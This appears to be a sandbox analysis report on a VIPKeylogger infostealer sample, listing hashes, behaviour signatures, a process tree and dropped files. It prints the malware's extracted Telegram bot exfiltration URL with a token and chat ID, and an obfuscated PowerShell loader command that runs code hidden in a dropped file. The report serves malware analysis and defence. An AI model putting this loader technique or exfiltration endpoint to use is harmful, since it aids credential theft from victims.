Analysis
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max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
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submitted
20/02/2025, 19:00
General
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Target
rAntephialtic.exe
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Size
1.5MB
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MD5
65249febec3f7bde1c51b92ff5d3c4a7
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SHA1
459c11b637dc859eacea6d65489729f7b32fbf27
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SHA256
f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6
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SHA512
e739a509aa7029116395a436f6b9c07e9e74bae0e81c312e0e0663c315be862a118b18d60c45b72268b47ad09a13ed0c9db54d4f97eba474c154d14d8cbe9a1c
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SSDEEP
24576:nMwM9cEY0ASIJSEwseD6Ph717SM5vw+WDC5InZ/L9GrsXpJzXo1AH9HBevK9Y9Ey:nMwLhcOPhNSM9w+wCyig5JzXo1AtBUK2
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7905739203:AAHVrbaqwZh7jsUdl3dYwh5_SurA4XOPFCU/sendMessage?chat_id=8187594209
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\rAntephialtic.exe"C:\Users\Admin\AppData\Local\Temp\rAntephialtic.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Anskueliggres=gc -Raw 'C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Kinestheses.Tra';$Sprrereglernes=$Anskueliggres.SubString(54058,3);.$Sprrereglernes($Anskueliggres)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7KB
MD54c77a65bb121bb7f2910c1fa3cb38337
SHA194531e3c6255125c1a85653174737d275bc35838
SHA2565e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe
SHA512df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04
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Filesize
52KB
MD54281bb34dbc6a97669b1815f61d33612
SHA1605f5b8e73077d2814da07642031ce974b08f2cd
SHA2564903967d23168ae80a460eb825ad870aa4dcdc57932a522999442f4612ef3c20
SHA5129062f880f1d9af15da31f40a648677d1bc8d581c19aebff91628dcb9dc1c00b461270cf0b37f29fa26522fc75d4cf3e4476fd95d26ee7162a8c9aa44b2c52184
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Filesize
320KB
MD5f195683d18325a42c4304eeb0dc6367a
SHA155a61c425735952bade435bf3ce82a181bbdf3c8
SHA256b2723eac8aabe559621c85ab475078ba196da645d2e5a2618a318df01b70ebe9
SHA5121bd37d58671faa0d62b44a85f3dc321ca25315b3d3735d90f1c688edcdb7921b12e175d277e7ec385e4cebadaf5e70c2ae7b7d50fbe1c2e670482bd836e5827a
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Filesize
4KB
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Filesize
216KB
-
Filesize
6.2MB
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Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
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Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
304KB
-
Filesize
7.7MB
-
Filesize
200KB
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Filesize
120KB
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Filesize
7.7MB
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Filesize
652KB
-
Filesize
40KB
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Filesize
7.7MB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
168KB
-
Filesize
144KB
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Filesize
7.7MB
-
Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
7.7MB
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Filesize
94.0MB
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Filesize
7.7MB
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Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
7.7MB
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Filesize
18.3MB
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Filesize
18.3MB
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Filesize
296KB
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Filesize
624KB
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Filesize
1.8MB
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Filesize
320KB
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Filesize
5.2MB
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Filesize
584KB
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Filesize
40KB